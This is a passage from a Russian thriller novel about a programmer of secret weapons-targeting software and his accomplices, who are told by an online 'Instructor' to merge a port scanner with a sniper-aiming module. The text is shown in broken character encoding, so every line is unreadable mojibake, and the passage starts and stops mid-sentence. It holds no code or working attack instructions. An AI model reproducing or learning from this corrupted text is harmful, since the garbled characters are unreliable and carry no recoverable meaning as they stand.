íè ñëîâà. Íî åñëè ìåíÿ íå óñòðîèò òâîÿ âåðñèÿ ñîáûòèé � ïîéäåøü
ïîä òàíê. Ïåðåìåëåòñÿ � êîñòåé íå íàéäóò. Âìåñòå ñ Ëóêèíûì ïîõîðî-
íþ, ó âàñ äàæå ôàìèëèè ïî÷òè îäèíàêîâûå, ñîéäåøü çà îïå÷àòêó â ïî-

õîðîííîì ëèñòå, ñêîòèíà, åñëè ÷òî íå
òàê. Òàê ÷òî íå ðàññ÷èòûâàé â ñëó÷àå
ïðîâàëà îòäåëàòüñÿ çâåçäîé íà ïîãîíàõ.
Ëèøèøüñÿ çàäíèöû. È ãîëîâû. Îäíîâðå-
ìåííî. Ïåñòàëîööè�

Ëóêîâíèêîâ âûñëóøàë âñå ýòî è
âäðóã ïî÷óâñòâîâàë, ÷òî íå áîèòñÿ. Ñíà-
÷àëà áîÿëñÿ, à òåïåðü íåò. Ïóñòü ãåíåðàë
çà ñâîþ äà÷ó òðÿñåòñÿ. È ïîíÿâ ýòî, îí
ñíÿë ôóðàæêó, êîòîðàÿ áûëà èçíóòðè
ìîêðîé îò ïîòà, íåáðåæíî áðîñèë åå íà
ñòîë è îïóñòèëñÿ â êðåñëî ðÿäîì ñ ãåíå-
ðàëüñêèì. Êîìàíäóþùèé óäèâëåííî
âçãëÿíóë íà íåãî, ïîòîì ÷òî-òî øåïíóë
ïîä íîñ è âåðíóëñÿ íà ñâîå ìåñòî.
� Âñå äåëî â òîì, ÷òî Ëóêèí � à ïîñëå
âàøèõ ñëîâ, òîâàðèù ãåíåðàë, ÿ åãî ÷óòü
ëè íå êàê òåçêó âîñïðèíèìàþ � Ëóêèí
äåéñòâèòåëüíî áûë ãåíèé, � íà÷àë ïîä-
ïîëêîâíèê. � Ãåíèé, êàêèõ ìàëî. È ÿ ñêà-
æó âàì áîëüøå � êàêèõ íåò.
� Êàê â âîäó ñìîòðèøü, Ëóêîâíèêîâ, �
ãåíåðàë âñå-òàêè âçÿë çàæèãàëêó, âûñåê

îãîíü è ñìîòðåë íà ñîáåñåäíèêà ÷åðåç ÿçû÷îê ïëàìåíè. � Òåïåðü òî÷-
íî íåò. Òû íå ×èïïîëèíî � òû Äàíòåñ. Òû�
� Ñëóøàéòå äàëüøå, òîâàðèù ãåíåðàë-ëåéòåíàíò. Íàñ÷åò ãåíèÿ ó ìå-
íÿ íåìíîãî äðóãîå ìíåíèå�

* * * * *
Íà ñàìîì äåëå Àëìàçîâ ïîãðåøèë ïðîòèâ èñòèíû, õâàñòàÿñü ïåðåä
Ðûêîâûì ñâîåé ðàáîòîé. Íå òàê óæ ìíîãî òðóäà áûëî âëîæåíî â òî,
÷òî îí äåðæàë ñåé÷àñ â ðóêàõ. Êîãäà-òî, ãîäà òðè íàçàä, îí ðàáîòàë
â îäíîì ñåêðåòíîì êîíñòðóêòîðñêîì áþðî ïîëóâîåííîãî îáðàçöà. Ðà-
áîòàë ñàìûì îáûêíîâåííûì èíæåíåðîì è ñëó÷àéíî áûë âûäâèíóò ðó-
êîâîäñòâîì â ÷èñëî òåõ, êîãî îòïðàâèëè íà ó÷åáó � îñâàèâàòü ñîâðå-
ìåííûå èíôîðìàöèîííûå òåõíîëîãèè â ñôåðå ïðîèçâîäñòâà. Ðîëü
ñëó÷àÿ áûëà â åãî æèçíè íà òîò ìîìåíò êðàéíå âåëèêà � è ê òîìó, ÷òî
îí îêàçàëñÿ â ÷èñëå ïÿòè êàíäèäàòîâ, âûáðàííûõ íà ýòó ðîëü, òîæå
ïðèëîæèëî ðóêó ïðîâèäåíèå.

Êóðñû áûëè èíòåðåñíûìè, ïðîäóêòèâíûìè, ðàáîòàëè îíè ñ ëè-
öåíçèîííûìè ïðîãðàììàìè � áûë è àìåðèêàíñêèé ñîôò, è àíãëèéñ-
êèé, è ìåñòàìè íàø, îòå÷åñòâåííûé. È âñå ñ êàêîé-òî õèòðîé íàïðàâ-
ëåííîñòüþ � ó Àëìàçîâà áûñòðî ñëîæèëîñü âïå÷àòëåíèå, ÷òî åùå
íåìíîãî, è îíè òóò ñïðîåêòèðóþò ïî ìåíüøåé ìåðå àòîìíóþ áîìáó.
Åãî êîëëåãè ïî ïðîãðàììåðñêî-èíæåíåðíîìó öåõó òîæå ïðîÿâèëè íå-
äþæèííóþ ïðûòü â îñâîåíèè ìàòåðèàëà, íî, êàê îêàçàëîñü, ñâÿòî âå-
ðèëè â àáñîëþòíî ãðàæäàíñêóþ íàïðàâëåííîñòü êóðñîâ � â ðåçóëüòà-
òå ÷åãî áëàãîïîëó÷íî ïî èõ îêîí÷àíèè âåðíóëèñü â ðîäíûå ñòåíû ïðî-
äîëæàòü íà÷àòîå äåëî.

Àëìàçîâà æå ñðàçó ïîñëå ýêçàìåíà, íà êîòîðîì îí áëåñòÿùå
ñïðàâèëñÿ ñî âñåìè çàäàíèÿìè, îòîçâàëè â êàêîé-òî êàáèíåò, åäâà ëè
íå â ïîäâàëüíîì ïîìåùåíèè � íèêàêèõ òåáå óêàçàòåëåé è òàáëè÷åê,
íèêàêèõ íàìåêîâ íà òî, êóäà è ê êîìó èäåò. Ïðèãëàñèëè, ïðîâåëè, àêêó-
ðàòíî âïóñòèëè è òàêæå àêêóðàòíî çàòâîðèëè çà ñïèíîé äâåðü�

×åëîâåê â êàáèíåòå íå áûë åìó çíàêîì. Îí íèêîãäà íå âèäåë åãî
â èíñòèòóòå, íèêîãäà íå ñòàëêèâàëñÿ ñ íèì íà êóðñàõ � è, îäíàêî æå,
áûë óâåðåí, ÷òî çíàåò åãî óæå äàâíî. Áûëî â íåì ÷òî-òî òàêîå � äðó-
æåëþáíîå, çàïîìèíàþùååñÿ, ïðèâåòëèâîå� È Àëìàçîâ ñðàçó ïðîíèê-
ñÿ ê íåìó äîâåðèåì.

×åëîâåê ïðèãëàñèë åãî ïðèñåñòü, óãîñòèë äîðîãèìè ñèãàðåòàìè,
õîðîøèì êîíüÿêîì, ïîõâàëèë çà óñåðäèå, ïîçäðàâèë ñ óñïåøíîé ñäà-
÷åé ýêçàìåíîâ. Àëìàçîâ ÷óâñòâîâàë, ÷òî åìó íåïðèêðûòî ëüñòÿò � íî
êîíüÿê óæå ñäåëàë ñâîå äåëî, ïîõâàëû ëåãëè íà áëàãîäàòíóþ ïî÷âó� 

«Õî÷ó ëè ÿ ðàáîòàòü ïî íîâîé ñïåöèàëüíîñòè? Êîíå÷íî! È áîëü-
øå çàðàáàòûâàòü? Ñàìî ñîáîé! Îò ÷åãî ïðèäåòñÿ îòêàçàòüñÿ, îò îáùå-
íèÿ? Ñ êåì? Ñ äðóçüÿìè? Ïî÷åìó? Íîâàÿ ðàáîòà ïîäðàçóìåâàåò ñî-
âåðøåííî äðóãîé ðåæèì ñåêðåòíîñòè? Äà ðàäè áîãà! Æåíàò? Äà. Åñòü
äî÷ü� Óñëîâèÿ äëÿ ðàáîòû æåíû è îáó÷åíèÿ äî÷åðè? Äà îáåèìè ðóêà-
ìè «çà». Êîãäà ïðèñòóïàòü-òî? Õîòü çàâòðà� ×óäåñíî. Äàâàéòå àäðåñ,
êóäà ïðèõîäèòü è âî ñêîëüêî�»

Òàê åãî âçÿëè íà ðàáîòó. Äåíüãè ïëàòèëè èñïðàâíî � è õîðîøèå.
Îí ïðîãðàììèðîâàë, ñ÷èòàë, ñîçäàâàë ñèñòåìû óïðàâëåíèÿ âîîðóæå-
íèåì, ïîíÿòèÿ íå èìåÿ, ãäå, êîãäà è êàê áóäåò ïðèìåíÿòüñÿ òî, ÷òî îí
ñäåëàë. Àôãàíèñòàí ê òîìó âðåìåíè óæå áûë ëåãåíäîé, ×å÷íÿ òîæå
ïîñòåïåííî ïðåâðàùàëàñü â ìèðíóþ ñòðàíó. Ñîâåñòü åãî ìîë÷àëà � è
òîëüêî èçðåäêà äî íåãî äîíîñèëèñü îòãîëîñêè íîâîñòåé. Îí âèäåë ïî
òåëåâèçîðó, êàê ïðîäàþòñÿ ðàçëè÷íûå àðòèëëåðèéñêèå óñòàíîâêè, ðà-
äàðíûå ñòàíöèè, íîâûå ñàìîëåòû è òàíêè, óñèëèâàÿ àðìèè Èíäèè,
Íîðâåãèè, Ãðåöèè è åùå äåñÿòêîâ ñòðàí ïî âñåìó ìèðó.

È ãäå-òî òàì ñòîÿëè âû÷èñëèòåëè, ðàâíûõ êîòîðûì íå áûëî. Îðó-
æèå, óñèëåííîå åãî ìûñëüþ, íå çíàëî ïðîìàõà. Îí ïîíèìàë ýòî, ãîð-
äèëñÿ ýòèì, íî êàê-òî îòñòðàíåííî, îòíîñÿñü ê ðåçóëüòàòàì ñâîåé ðà-
áîòû êàê ê ÷åìó-òî ìèôîëîãè÷åñêîìó � ãäå ýòî îðóæèå, â êîãî ñåé÷àñ
ñòðåëÿåò, äà è ñòðåëÿåò ëè? Ñêîðåå, ïûëèòñÿ ãäå-òî íà ñêëàäàõ, ÿâëÿÿ
ñîáîé ñêðûòóþ ìîùü�

È âîò òàê îí ðàáîòàë � â êîìïàíèè ñ åùå ïàðîé äåñÿòêîâ ÷åëî-
âåê, êàæäûé èç êîòîðûõ áûë ãåíèàëåí â ñâîåé îáëàñòè. Äâîå ïîðàçè-
òåëüíî òî÷íî ïðîãíîçèðîâàëè ðàçâèòèå èäåé â êîñìè÷åñêîé ñôåðå,
âûäàâàÿ ÷óäåñà òåõíè÷åñêîé ìûñëè ñ çàâèäíîé ïåðèîäè÷íîñòüþ è îò-
ìå÷àÿ ñòàðò êàæäîãî ñïóòíèêà, ñíàáæåííîãî èõ ïðîãðàììàìè ñëåæå-
íèÿ; åùå íåñêîëüêî ÷åëîâåê çàíèìàëèñü òåì æå ñàìûì, íî ïîëèãîíîì
äëÿ òâîð÷åñòâà áûëè ìîðñêèå ãëóáèíû � ïàðà ïîäâîäíûõ ëîäîê, îñíà-
ùåííûõ èõ ñîôòîì, ñòàâèëà íà óøè âåñü ïðîòèâîëîäî÷íûé ôëîò ÑØÀ,
îêîí÷àòåëüíî ïîòåðÿâøèé óâåðåííîñòü â ñâîåé íåóÿçâèìîñòè.

Îñòàëüíûå òðàòèëè ñâîå ðàáî÷åå âðåìÿ è êàçåííûå äåíüãè íà
àáñîëþòíî ýêçîòè÷åñêèå âåùè òèïà ñåéñìè÷åñêîãî îðóæèÿ, ðàññ÷èòû-
âàÿ âñÿêîãî ðîäà íàïðÿæåíèÿ çåìíîé êîðû, ïðåäïîëàãàÿ ìåñòà âîç-
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ìîæíîãî çàêëàäûâàíèÿ çàðÿäîâ äëÿ òîãî, ÷òîáû ïîãðóçèòü â áåçäíó
Ìèðîâîãî îêåàíà Êàëèôîðíèþ ðàíüøå, ÷åì ýòî ñäåëàåò Ãîñïîäü Áîã.
Àëìàçîâ, êîíå÷íî, èíòåðåñîâàëñÿ òåì, ÷òî ïðîèñõîäèò âîêðóã, íî ïîíè-
ìàë, ÷òî åãî ëþáîïûòñòâî ìîæåò áûòü íåïðàâèëüíî èñòîëêîâàíî êóðà-
òîðàìè èç Ñëóæáû Áåçîïàñíîñòè, ïîýòîìó ñòàðàëñÿ ðàáîòàòü õîðîøî
è íåçàìåòíî. Ðàáîòàë ñåáå è ðàáîòàë, ïîëüçóÿñü âñåìè áëàãàìè, ÷òî
ïðåäîñòàâëÿë ýòîò ñåêðåòíûé ïðîåêò â íàãðóçêå ê ïðîãðàììèðîâàíèþ
� ëó÷øèå ñàíàòîðèè, áàñíîñëîâíûå çàðïëàòû è ìíîãèå äðóãèå ëüãî-
òû, íåäîñòóïíûå ïðîñòûì ñìåðòíûì.

Íî îäíàæäû ñëó÷èëàñü áåäà.
Òàê óæå áûâàëî â Ðîññèè � êòî-òî ïðèíèìàåò íèêîìó íå ïîíÿò-

íûå ïîëèòè÷åñêèå ðåøåíèÿ, íà÷èíàåòñÿ ñîêðàùåíèå òîëüêî ÷òî ñîç-
äàííîãî âîîðóæåíèÿ, îíî ìãíîâåííî ñòàíîâèòñÿ íèêîìó íå íóæíûì è
òîëüêî ìîçîëèò ãëàçà. Ïðîèçîøëî ýòî è ñ «ÿùèêîì» Àëìàçîâà. Ïðèø-
ëè êàêèå-òî ëþäè, ñóíóëè äèðåêòîðó ïîä íîñ íåñêîëüêî áóìàã, çàñòàâè-
ëè ïîñòàâèòü ïîäïèñè, ïîñëå ÷åãî øëåïíóëè ïàðî÷êó øòàìïîâ, îïå÷à-
òàëè ñåéôû è ëàáîðàòîðèè, âûçâàëè êàæäîãî ñîòðóäíèêà íà ñîáåñåäî-
âàíèå è äîâåëè ñóòü äåëà äî êàæäîãî.

À ñóòü áûëà ïðîñòîé è öèíè÷íîé. Ïðÿìî êàê ó êîììóíèñòîâ �
÷òî-òî âðîäå «ãåíåðàëüíàÿ ëèíèÿ ñåãîäíÿøíåãî äíÿ, òåêóùèé ìîìåíò è
ïðî÷àÿ ôèãíÿ íèêàêèì îáðàçîì íå ïåðåñåêàþòñÿ ñ âàøèìè æåëàíèÿìè
è óìåíèÿìè». Âñåì áûëî ïðåäëîæåíî óâîëèòüñÿ ñ õîðîøèì âûõîäíûì
ïîñîáèåì � ðåáÿòà â ñåðûõ ïèäæàêàõ âûíèìàëè äåíüãè ïðÿìî èç
ïîðòôåëåé, ðàçäàâàëè âñåì, òðåáóÿ ïîäïèñü òîëüêî â äîêóìåíòå, ïîäò-
âåðæäàþùåì óðîâåíü ñåêðåòíîñòè.

Ïîëó÷èë ñâîþ êó÷ó äåíåã è Àëìàçîâ � ïîòîì êðàåì ãëàçà ïðîñ-
ìîòðåë áóìàãó, ãäå ãîâîðèëîñü î òîì, ÷òî íèãäå è íèêîãäà îí íå èìååò
ïðàâà ðàçãëàøàòü ôàêò ñâîåé ðàáîòû â êîíñòðóêòîðñêîì áþðî ïî ïðî-
èçâîäñòâó ñåêðåòíûõ âèäîâ âîîðóæåíèÿ, íèêîãäà íå ñìîæåò âûåõàòü
çà ãðàíèöó è íå èìååò ïðàâà âûíåñòè îòñþäà íè÷åãî, ÷òî ðàçðàáîòàë
îí ëè÷íî èëè åãî êîëëåãè. Äðóãèå ïóíêòû îí äàæå íå ñòàë ÷èòàòü �
áûë óâåðåí, ÷òî ãäå-òî â êîíöå îáÿçàòåëüíî áóäåò ïðî ðàññòðåë.

Äåíüãè ñ òðóäîì ïîìåñòèëèñü â åãî ìàëåíüêèé «äèïëîìàò», â êî-
òîðîì îòðîäÿñü íå áûëî íè÷åãî òîëùå ïàïêè è äèñêà. Îí ïîñèäåë íà
ïîðîãå ñâîåãî êàáèíåòà, êîòîðûé ÷óäîì èçáåæàë ïå÷àòè íà äâåðè, ñè-
ðîòëèâî âçäîõíóë è óæå ñîáðàëñÿ óõîäèòü, êîãäà ê íåìó íåîæèäàííî
ïîäîøåë îäèí èç òåõ, êòî âåë ñ íèì áåñåäó ïîë÷àñà íàçàä.

×åëîâåê â ñåðîì ïèäæàêå.
� Òîâàðèù Àëìàçîâ, � òèõî ñêàçàë îí. � Ó ìåíÿ åñòü ê âàì ìàëåíü-
êîå ïðåäëîæåíèå.
� ß âàñ ñëóøàþ, � íàïðÿãñÿ ïðîãðàììèñò, ïîíèìàÿ, ÷òî òàêèå ëþäè
ïðîñòî òàê íå ïîäõîäÿò è íè÷åãî íå ïðåäëàãàþò.
� Âîçüìèòå âîò ýòî, � ìóæ÷èíà îãëÿíóëñÿ, íî íå âîðîâàòî, à êàê-òî
ïî-õîçÿéñêè � âðîäå «ãëàâíîå, ÷òîáû õîëîïû íå óãëÿäåëè, ÷åì áàðå
çàíèìàþòñÿ». Âûòàùèâ èç âíóòðåííåãî êàðìàíà ïèäæàêà ìàëåíüêèé
ñâåðòîê, â êîòîðîì óãàäûâàëîñü ÷òî-òî ïëîñêîå, îí ñóíóë åãî Àëìà-
çîâó. � Âîçüìèòå è ñïðÿ÷üòå äîìà. Ýòî ìîæåò êîãäà-íèáóäü ïîíàäî-
áèòüñÿ. ß âàì ýòî ãîâîðþ, êàê íîðìàëüíûé, òðåçâî ìûñëÿùèé ÷åëî-
âåê. ß ïîíèìàþ, ÷òî òàêèå êîíòîðû, êàê âàøà, ïðîñòî òàê íå çàêðû-
âàþò. Êîìó-òî î÷åíü íàäî�

Ìóæ÷èíà ïðèïîäíÿë âçãëÿä ïîâåðõ ãîëîâû Àëìàçîâà, è òîò ïî-
íÿë, íà ÷òî îí íàìåêàåò. Òåì âðåìåíåì ÷åëîâåê ïðîäîëæèë:
� Ïîëèòèêà � ýòî, êîíå÷íî, çäîðîâî. Âåñåëî. Íî íå î÷åíü, ÿ âàì ãîâî-
ðþ, êàê ïðîâåðèâøèé íà ñåáå. Âû óáåðèòå, óáåðèòå, íå÷åãî äåðæàòü íà
âèäó ó âñåõ. ß âåäü ñåé÷àñ ðèñêóþ.

Àëìàçîâ ñïîõâàòèëñÿ, óáðàë ñâåðòîê, â êîòîðîì îí íà îùóïü îï-
ðåäåëèë ÷òî-òî, íàïîìèíàþùåå äèñêè. Çàìîê «äèïëîìàòà» ùåëêíóë;
÷åëîâåê âçäîõíóë è ñêàçàë:
� Åñëè âû ïîíàäîáèòåñü, òî âàñ íàéäóò. Ãäå óãîäíî.

Ïðîçâó÷àëî ýòî î÷åíü è î÷åíü íåëàñêîâî. Àëìàçîâ ïî÷óâñòâîâàë
äðîæü â êîëåíêàõ.
� Çà-çà÷åì? � ñïðîñèë îí, ïðåêðàñíî ïîíèìàÿ, êàêèì áóäåò îòâåò.
� ×òîáû ðàñïîðÿäèòüñÿ âàøèì áîãàòûì íàñëåäñòâîì. ß íå äåëàþ èç
òîãî, ÷òî âû ñåé÷àñ âçÿëè, ñåêðåòà äëÿ âàñ. Ìîæåòå èçó÷èòü ñîäåðæè-
ìîå. Ìîæåòå äàæå êîå-÷òî òàì ïîäêîððåêòèðîâàòü � åñëè äîñòàíåò
ôàíòàçèè è óìà�
� Ïî÷åìó èìåííî ÿ? � ñïðîñèë Àëìàçîâ. � Íàñ òóò áûëî äîâîëüíî
ìíîãî�
� Ôàìèëèÿ ó âàñ� Íå çíàþ, � ñîáåñåäíèê óõìûëüíóëñÿ. � Íî ïî÷å-
ìó-òî ê Ðàáèíîâè÷ó èç ñåéñìè÷åñêîãî îòäåëà è Òèìîøåíêî èç ýòîãî�
êàê åãî�
� Ñêàæåì, ïîäâîäíîãî, � ïîäñêàçàë Àëìàçîâ.
� Àãà� Òàê âîò ê íèì � äóøà íå ëåæèò.
� Âû øîâèíèñò? Èç êàêîãî-íèáóäü íàöèîíàëèñòè÷åñêîãî äâèæåíèÿ?

� ß ïàòðèîò. Ïðîñòî ïàòðèîò. ß ëþáëþ ñâîþ ñòðàíó. Íî ìíå ïðèõîäèò-
ñÿ âûïîëíÿòü ïðèêàçû, � æåñòêèì ãîëîñîì ïðîêîììåíòèðîâàë îí âîï-
ðîñ Àëìàçîâà. � À òåïåðü èäèòå. Âû óâîëåíû.

È Àëìàçîâ óøåë. Óøåë, óíîñÿ ñ ñîáîé â ïîðòôåëå îäíè èç ñàìûõ
ñåðüåçíûõ ñåêðåòîâ âîåííîé ìàøèíû Ðîññèéñêîãî ãîñóäàðñòâà�

Äîìà îí, êîíå÷íî æå, ïðîñìîòðåë ñîäåðæèìîå äèñêîâ.
Ñèñòåìû ïðèöåëèâàíèÿ, íàâåäåíèÿ, èíòåëëåêòóàëüíîãî âûáîðà

öåëåé, îãðîìíîå êîëè÷åñòâî ìîäóëåé, ñïîñîáíûõ ìàñøòàáèðîâàòüñÿ è
óñòàíàâëèâàòüñÿ íà ëþáîå íûíå ñóùåñòâóþùåå âîîðóæåíèå. ×åðòåæè
è ñõåìû, èñõîäíûå êîäû ïðîãðàìì, èñêóññòâåííûé èíòåëëåêò, ðàñ÷åòû
òðàåêòîðèé ñïóòíèêîâ � íàøèõ è âåðîÿòíîãî ïðîòèâíèêà�

Îí ùåëêàë «ìûøêîé» ïî êàòàëîãàì, ðàçãëÿäûâàë íà äîìàø-
íåì êîìïüþòåðå òî, ÷òî åìó ïåðåäàë ÷åëîâåê, íàçâàâøèé ñåáÿ ïàò-
ðèîòîì, è íèêàê íå ìîã ïîíÿòü � çà÷åì? Çà÷åì åìó ïåðåäàëè íà
ñîõðàíåíèå âñå ýòî? Âåäü îí ñåé÷àñ ÿâëÿåòñÿ õðàíèòåëåì � ñëó÷àé-
íûì õðàíèòåëåì � ãîñóäàðñòâåííûõ òàéí, ìîãóùèõ íàâðåäèòü ýòîìó
ñàìîìó ãîñóäàðñòâó!

Îòâåòà íå áûëî. Ïîìó÷àâøèñü íàä ýòèì âîïðîñîì, Àëìàçîâ ïî-
òèõîíüêó ñòàë òðàòèòü äåíüãè, âûäåëåííûå åìó ãîñóäàðñòâîì â êà÷åñò-
âå êîìïåíñàöèè çà óâîëüíåíèå. Æåíà, âèäÿ, ÷òî îí ïåðåñòàë ðàáîòàòü
è íèêîìó íå íóæåí, ñïóñòÿ ïîëãîäà óøëà îò íåãî, óâåäÿ ñ ñîáîé äî÷ü �
à åùå ÷åðåç íåêîòîðîå âðåìÿ ñòàëà òðåáîâàòü äåíüãè íà åå îáó÷åíèå
â òîì ÂÓÇå, êóäà äåâî÷êà áûëà óñòðîåíà áëàãîäàðÿ ïðîøëûì çàñëó-
ãàì îòöà åùå â áûòíîñòü åãî â «ÿùèêå». Îí èç êîæè âîí ëåç, íî íàá-
ðàòü íóæíóþ ñóììó ñ êàæäûì ãîäîì ñòàíîâèëîñü âñå òðóäíåå.

È êîãäà îí óæå ñîâñåì îò÷àÿëñÿ � ê íåìó ïðèøëè äâîå� Ïàòðè-
îòû. Íàïîìíèëè î äèñêàõ. Îáúÿñíèëè ñèòóàöèþ. Äàëè äåíåã � ñðàçó.
Îí ñóìåë âîâðåìÿ çàïëàòèòü çà äî÷ü � òåì áîëåå ÷òî êóðñ áûë óæå
âûïóñêíîé. Òàì õâàòèëî è íà îáó÷åíèå, è íà ïëàòüå äëÿ áàëà, è íà ðåñ-
òîðàí, è äàæå íà çîëîòûå ÷àñû ê îêîí÷àíèþ.

Êîãäà îíè óøëè, îí âûíóë èç òàéíèêà äèñêè, îñâåæèë â ïàìÿòè èõ
ñîäåðæèìîå è ÷åðåç ïîë÷àñà íàøåë òî, ÷òî îíè ïðîñèëè.

Ìîäóëü ñíàéïåðñêîé ñòðåëüáû. Îí íàïèñàë åãî åäâà ëè íå â ñà-
ìîì íà÷àëå ñâîåé ïðîãðàììèñòñêîé êàðüåðû � â êà÷åñòâå îáîáùà-
þùåãî òðåíèðîâî÷íîãî çàäàíèÿ. Ïðîãðàììà ïðè ïîìîùè íåáîëüøîé
äîâîäêè äî óìà ìîãëà áûòü óñòàíîâëåíà õîòü íà ãëàâíûé êàëèáð
ëèíêîðà, õîòü íà ñïóòíèê, õîòü íà óïðàâëÿåìûé èñêóññòâåííûì èí-
òåëëåêòîì òàíêîâûé ïóëåìåò. Ýòàêèé êîíñòðóêòîð äëÿ âîåííûõ �
çàñòàâèòü òî÷íî ñòðåëÿòü ïðè ïîìîùè ïðîãðàììû Àëìàçîâà ìîæíî
áûëî âñå, ÷òî óãîäíî.

Ñðàçó ïîñëå ñîçäàíèÿ ýòîãî ÷óäà îí åãî çàïàòåíòîâàë, ïîòîì äî-
ðàáîòàë íåìíîãî äëÿ òàíêîâ, ïîñòàâëÿåìûõ â Íîðâåãèþ � à ïîòîì, áó-
äó÷è íàïðàâëåííûì â äðóãîå ðóñëî âîåííîé ìàøèíû, çàáûë î ñâîåì
äåòèùå. È âîò îíî ñíîâà ïîíàäîáèëîñü�

Ïóãàëî òîëüêî îäíî � ñóììà, êîòîðóþ åìó îáåùàëè çà âûïîëíå-
íèå çàäàíèÿ. Åñëè îí ñóìåë ïðè ïîìîùè àâàíñà ïîïðàâèòü ñâîå ìàòå-
ðèàëüíîå ïîëîæåíèå ïðàêòè÷åñêè ïîëíîñòüþ, òî ÷òî áóäåò ïîòîì?..

* * * * *
� Ìû áóäåì âîò òàê è äàëüøå ñèäåòü? � ñïðîñèë Ðûêîâ, íåìíîãî ïðè-
äÿ â ñåáÿ îò òîãî, ÷òî îí óçíàë îò Àëìàçîâà. � ß äóìàþ, âñå-òàêè ñòîèò
ïîïûòàòü ñ÷àñòüÿ è ñâÿçàòüñÿ ñ òåì, êîãî íàçûâàþò «èíñòðóêòîðîì».
Íó, õîòÿ áû îáúÿñíèòü ñóòü äåëà!..

Àëìàçîâ êèâíóë. Âðîäå áû îí âñå äåëàë ïðàâèëüíî, ïî èíñòðóê-
öèè. Íàïëåë ïðî äî÷ü ïîä ïðèöåëîì, âñåì ñâîèì ñêîðáíûì âèäîì äàë
ïîíÿòü, íàñêîëüêî åìó ñòðàøíî. Ýòî âñå áûëî îáãîâîðåíî çàðàíåå è
âõîäèëî â ïëàí.

Îí äàæå çíàë, ÷òî íèêàêèõ ïàðîëåé äëÿ ñâÿçè ñ èíñòðóêòîðîì
ó Ëóêèíà íå áûëî. È áûòü íå ìîãëî. Íåçà÷åì�
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� Äóìàþ, ìû äîëæíû ïîïðîáîâàòü, � óãðþìî ñêàçàë Àëìàçîâ. � 
Êòî ðèñêíåò? Âû? Èëè ÿ?
� Äàâàéòå óæ âìåñòå! � Ðûêîâ ìàõíóë ðóêîé è ïîäîøåë ê êîìïüþòå-
ðó. Îí ñàì ââåë íîìåð 444115686, íàøåë è äîáàâèë â êîíòàêò-ëèñò ÷å-
ëîâåêà, äàâ åìó áàíàëüíûé íèê � «Èíñòðóêòîð».
� Îíëàéí�
� Òàê îáåùàëè æå� � íå îòðûâàÿñü îò ýêðàíà, îòâåòèë Àëìàçîâ. �
Ó ìåíÿ íåáîãàòûé îïûò îáùåíèÿ ïîäîáíûì îáðàçîì. Âû õîòü ïðåäñ-
òàâëÿåòå, êàê ìû íà÷íåì áåñåäó? ×òî ñêàæåì? ×åì ïîèíòåðåñóåìñÿ?
� Õðåí åãî çíàåò, � ñêàçàë Ðûêîâ è ìàøèíàëüíî íàáðàë:
� «Ïðèâåò».

Îòâåò ïðèøåë ïðàêòè÷åñêè ìãíîâåííî:
� «Ïðèâåò».
� «Ìû ãîòîâû ðàáîòàòü. Ëóêèí óáèò. Æäåì äàëüíåéøèõ óêàçàíèé».

Ïàóçà.
� Íó âû íàïèñàëè� � ïðîöåäèë ñêâîçü çóáû Àëìàçîâ. � «Óáèò». ×òî
îí òàì ñåé÷àñ ïîäóìàåò?..
� Åñòü âàðèàíòû? Íàâåðíÿêà îí ñâÿæåòñÿ ñ êåì-òî, êòî äàñò ðåêîìåí-
äàöèè, � îãðûçíóëñÿ Ðûêîâ. � Ãëÿäèòå, îòâå÷àåò!

Äåéñòâèòåëüíî, íà ýêðàíå ïîÿâèëîñü ñîîáùåíèå «Èíñòðóêòîð íà-
áèðàåò òåêñò�» Àëìàçîâ è Ðûêîâ äàæå ïðèäâèíóëèñü ïîáëèæå ê ýêðà-
íó, ÷òîáû íå ïðîïóñòèòü íè ñëîâà. Â êâàðòèðå ñòàëî òèõî, òîëüêî ïîä
ñòîëîì øóìåë êóëåð ñèñòåìíîãî áëîêà.
� «Íåîáõîäèìî ñîåäèíèòü âìåñòå äâå ïðîãðàììû. Ñêàíåð Ðûêîâà è
ìîäóëü Àëìàçîâà. Äëÿ ýòîãî â ñêàíåðå åñòü òî÷êè âõîäà. Íàäåþñü, Ðû-
êîâ ïðàâèëüíî ïîíÿë ñâîå çàäàíèå, íå çðÿ åìó áûëî äàíî äâå íåäåëè.
Âðåìÿ ó âàñ åñòü. Îäíàêî � ïðèíèìàÿ âî âíèìàíèå íåîæèäàííûå îáñ-
òîÿòåëüñòâà â âèäå ñìåðòè Ëóêèíà, ñðîêè ñæèìàþòñÿ äî îäíèõ ñóòîê �
íà÷èíàÿ ñ ýòîé ìèíóòû. Äâàäöàòü ÷åòûðå ÷àñà íà òî, ÷òîáû îáúåäèíèòü
âàøè ïðîãðàììû�» Íè÷åãî íå ïîíèìàþ, � Ðûêîâ ïîäíÿë ãëàçà îò ýê-
ðàíà. � Çà÷åì? ×òî îíè òàì ïðèäóìàëè?

Àëìàçîâ ïðîäîëæàë ñìîòðåòü â ýêðàí, íå îòðûâàÿñü. Îí äóìàë
î ñåáå, ñâîåé äî÷åðè è î òîì, ÷òî áóäåò ïîòîì.

×òî áóäåò ïîòîì�
� Âû ìîæåòå ìíå õîòü ÷òî-íèáóäü îáúÿñíèòü? � Ðûêîâ äåðíóë åãî çà
ðóêàâ. � Ïîëó÷àåòñÿ òàê � ìû äîëæíû áûëè ïðèíåñòè ñâîè ïðîãðàì-
ìû Ëóêèíó, à îí � ñëåïèòü èç íèõ îäíî öåëîå. È ïîëó÷èòü çà ýòî äåíü-
ãè. Òåïåðü Ëóêèíà íåò. Êàê íàì çàïëàòÿò?
� ß äóìàë, âû ÷òî-íèáóäü äðóãîå ñïðîñèòå, � óäèâèëñÿ Àëìàçîâ. �
À âû âñå ïðî äåíüãè� Åñëè âàì ÷òî-òî íåïîíÿòíî � ñïðîñèòå
ó Èíñòðóêòîðà. Îí âåäü ïîêà åùå â Ñåòè.
� Äåéñòâèòåëüíî, � êèâíóë Ðûêîâ, ïîëîæèë ïàëüöû íà êëàâèàòóðó,
íî â ñëåäóþùóþ ñåêóíäó âäðóã ñïðîñèë:
� À ÷òî âû èìåëè â âèäó � ÷òî-íèáóäü äðóãîå?

Àëìàçîâ åäâà óäåðæàëñÿ, ÷òîáû íå çàñìåÿòüñÿ â ïîëíûé ãîëîñ:
� Òî åñòü äëÿ âàñ ñîâåðøåííî íå óäèâèòåëüíî, ÷òî êòî-òî ïðåäëà-
ãàåò ñâåñòè â îäíî öåëîå ïðîãðàììó äëÿ ñêàíèðîâàíèÿ ïîðòîâ è ìî-
